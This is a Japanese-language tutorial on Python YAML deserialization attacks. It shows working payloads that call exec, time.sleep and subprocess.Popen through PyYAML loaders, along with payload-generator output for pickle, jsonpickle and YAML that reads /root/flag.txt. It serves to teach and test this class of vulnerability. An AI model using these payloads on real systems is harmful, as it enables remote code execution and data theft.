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Python Yaml Deserialization

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Yaml Deserialization

Yaml pythonライブラリは、pythonオブジェクトをシリアライズすることもでき、単なる生データだけではありません:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

チェックしてみてください、tupleは生のデータ型ではないため、シリアライズされました。そして、range（ビルトインから取得）でも同じことが起こりました。

**safe_load()またはsafe_load_all()**はSafeLoaderを使用し、クラスオブジェクトのデシリアライズをサポートしていません。クラスオブジェクトのデシリアライズの例：

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

前のコードでは、シリアライズされたPythonクラスを読み込むためにunsafe_loadを使用しました。これは、バージョン >= 5.1では、load()でLoaderが指定されていないか、Loader=SafeLoaderの場合、シリアライズされたPythonクラスまたはクラス属性をデシリアライズすることを許可しないためです。

基本的なエクスプロイト

スリープを実行する方法の例:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

脆弱な .load("<content>") Loaderなし

古いバージョンのpyyamlは、何かを読み込む際にLoaderを指定しなかった場合、デシリアライズ攻撃に対して脆弱でした: yaml.load(data)

この脆弱性の説明はこちらです。 そのページで提案されたエクスプロイトは:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

また、@ishaackによって提供されたこのワンライナーを使用することもできます：

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

注意してほしいのは、最近のバージョンでは、Loaderなしで.load()を呼び出すことはできなくなったことと、FullLoaderはこの攻撃に対して もはや脆弱ではないということです。

RCE

カスタムペイロードは、PyYAMLやruamel.yamlなどのPython YAMLモジュールを使用して作成できます。これらのペイロードは、適切なサニタイズなしに信頼できない入力をデシリアライズするシステムの脆弱性を悪用することができます。

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

ペイロードを作成するためのツール

ツール https://github.com/j0lt-github/python-deserialization-attack-payload-generator は、Pickle, PyYAML, jsonpickle および ruamel.yaml を悪用するための Python デシリアライズペイロードを生成するために使用できます：

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

参考文献

• https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
• https://net-square.com/yaml-deserialization-attack-in-python.html

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